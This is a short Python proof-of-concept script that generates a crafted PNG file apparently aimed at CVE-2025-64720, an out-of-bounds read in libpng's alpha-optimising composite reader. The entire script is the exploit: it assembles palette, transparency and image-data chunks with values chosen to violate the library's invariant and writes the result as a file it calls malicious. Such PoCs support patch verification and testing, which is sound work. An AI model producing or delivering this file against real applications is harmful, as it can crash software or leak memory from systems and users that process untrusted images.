import struct
import zlib
def create_malicious_png():
"""
Generate a malicious PNG file that triggers CVE-2025-64720
Out-of-bounds read in png_image_read_composite with PNG_FLAG_OPTIMIZE_ALPHA
"""
# PNG signature
signature = b'\x89PNG\r\n\x1a\n'
# IHDR chunk - 8x8 pixel palette image
ihdr_data = struct.pack('>IIBBBBB', 8, 8, 8, 3, 0, 0, 0) # width, height, bit_depth=8, color_type=3(palette), compression, filter, interlace
ihdr_crc = zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff
ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc)
# PLTE chunk - palette with problematic alpha optimization
# Craft palette entries that will trigger the invariant violation
palette = b''
for i in range(256):
palette += bytes([i, 0, 0]) # Red gradient palette
plte_crc = zlib.crc32(b'PLTE' + palette) & 0xffffffff
plte_chunk = struct.pack('>I', 768) + b'PLTE' + palette + struct.pack('>I', plte_crc)
# tRNS chunk - transparency with values that trigger the bug
# When combined with PNG_FLAG_OPTIMIZE_ALPHA, these cause component > alpha*257
transparency = bytes([128] * 128 + [0] * 128) # 256 alpha entries
trns_crc = zlib.crc32(b'tRNS' + transparency) & 0xffffffff
trns_chunk = struct.pack('>I', 256) + b'tRNS' + transparency + struct.pack('>I', trns_crc)
# IDAT chunk - compressed image data
# Image data that uses palette indices with the crafted transparency
raw_data = b''
for y in range(8):
raw_data += b'\x00' # filter byte
for x in range(8):
raw_data += bytes([(x + y) % 256]) # palette indices
compressed = zlib.compress(raw_data, 9)
idat_crc = zlib.crc32(b'IDAT' + compressed) & 0xffffffff
idat_chunk = struct.pack('>I', len(compressed)) + b'IDAT' + compressed + struct.pack('>I', idat_crc)
# IEND chunk
iend_crc = zlib.crc32(b'IEND') & 0xffffffff
iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', iend_crc)
return signature + ihdr_chunk + plte_chunk + trns_chunk + idat_chunk + iend_chunk
if __name__ == '__main__':
png_data = create_malicious_png()
with open('CVE-2025-64720_poc.png', 'wb') as f:
f.write(png_data)
print('Malicious PNG created: CVE-2025-64720_poc.png')
print('This PoC triggers out-of-bounds read when processed by vulnerable libpng versions (1.6.0-1.6.50)')
print('The vulnerability occurs when PNG_FLAG_OPTIMIZE_ALPHA is enabled during image reading')